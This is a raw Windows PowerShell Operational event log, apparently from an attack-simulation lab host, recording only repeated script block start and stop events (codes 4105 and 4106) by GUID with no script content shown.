Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033841
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033835
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033813
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033812
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033811
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033810
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033794
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033793
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
